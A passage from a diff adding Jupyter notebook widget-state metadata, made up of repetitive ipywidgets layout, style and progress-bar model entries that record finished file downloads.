+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1ad6f7c8092945af9d0807c103615e23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1af7492be4f74b378a391b0e91100b80": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1afd91a1d8eb4919beefdac3152f401e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1b0de92860e644fb83012a514582cfea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1b46ba28728b45d89bc66640e5c12017": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1cbe17e4d56d4ccf9b644f8633efb73b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1d324284e0fa429f9fa0b0aa5eadc616": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4714cacaf5f649a4b736cffb54f61429",
+            "max": 456318,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ba22c333c270494ab1a871b64cbf775f",
+            "value": 456318
+          }
+        },
+        "1de3ba7448d84e6f9db219dae03e4e52": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1e3948ee96d3497f8edf9d8b19263335": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1f22dc66835644829e0c129ca80418e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b2921f5c71ae4c089d405b861bbf8329",
+              "IPY_MODEL_39f71afbfd024770b1c04f263aad1a9c",
+              "IPY_MODEL_3cd41eb2f2214632ac9e209c91634ffa"
+            ],
+            "layout": "IPY_MODEL_f2cc42d8fa9f44ff8dcf7c909a162c3d"
+          }
+        },
+        "1f241eb11bb84543af39005814a79c87": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1f7598f2179c49f0b7a2b80a29463007": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1f77de9e162c43baa6782c73337d79ad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1ff35a472e4a4d5fbb7cadc70dcfdded": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7e3f8c8cdb0e4f7dbe9ce90660331702",
+            "placeholder": "",
+            "style": "IPY_MODEL_94f126aaf79944bebda94fbbfcd19f31",
+            "value": " 239/239 [00:00<00:00, 5.91kB/s]"
+          }
+        },
+        "20920dba7f524f2e9c38199114635f8b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "209773cf4ef14a16b3ce53d2414ade48": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "211d139eafbf4105b4e6578da8b017de": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "223aca713efa4584b14544858efe451e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cdebc94b0884439ba994b20ccff85e51",
+            "max": 908,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_51294dd3952e43ffb93419d80206c009",
+            "value": 908
+          }
+        },
+        "2270c02128654e608321f3dde4722a0c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "23ab71d00c3d4ea599c200024aaa9ad0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "23bb7bed0eab4d08a5acb5e8956dfbc4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "24375d1fad374d298150996adcf726c9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b2331f427ac94a809a21732e9a8d8670",
+              "IPY_MODEL_05b4e3b0800742b18bbb289ee45bc68b",
+              "IPY_MODEL_edf26b3e8092401d87cb31fdd56eca56"
+            ],
+            "layout": "IPY_MODEL_509d24b29e7042ac810ab0bf3f06efd3"
+          }
+        },
+        "2509398a0f5d4c2ebea382066448d060": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "253e08d6aebf4490944241be5c98d887": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2550e8fc207c43cfa401df39788831cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f96aeeb5ad754b4daa55e1936d213dc9",
+            "placeholder": "",
+            "style": "IPY_MODEL_17dbf7cc0a704e8c880a91a55d8105c9",
+            "value": " 25.0/25.0 [00:00<00:00, 416B/s]"
+          }
+        },
+        "258bb2d0ad2040adb2e73449c3da1627": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "260dfd7b8487495390923fe89089a7f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_61d9001132a34d7991e7f97e9180429d",
+            "max": 686,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_fd887280c6a046e983e376f008258c3b",
+            "value": 686
+          }
+        },
+        "2676b805948648c5a422a66956a0f389": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "26c426ba73e0459cb6a68df6405a5cfd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0c52a46d3d4c484b9e7d8801a0c79950",
+            "placeholder": "",
+            "style": "IPY_MODEL_9c0e317ac1254781846618317ebcae0e",
+            "value": " 1.82M/1.82M [00:00<00:00, 3.13MB/s]"
+          }
+        },
+        "26f5b824162c4594a0ad178f67cf6186": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2756b99c1d084219b7847d7644240ade": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "27aeec979d31476bb143313e7418725e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "28fbffc4967e4e61ae2ef4ab76fd025e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "29066cc1abd4414eb39588c1f7bbe0ae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "291c99c7bf334e48ba6b237d14138f5b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
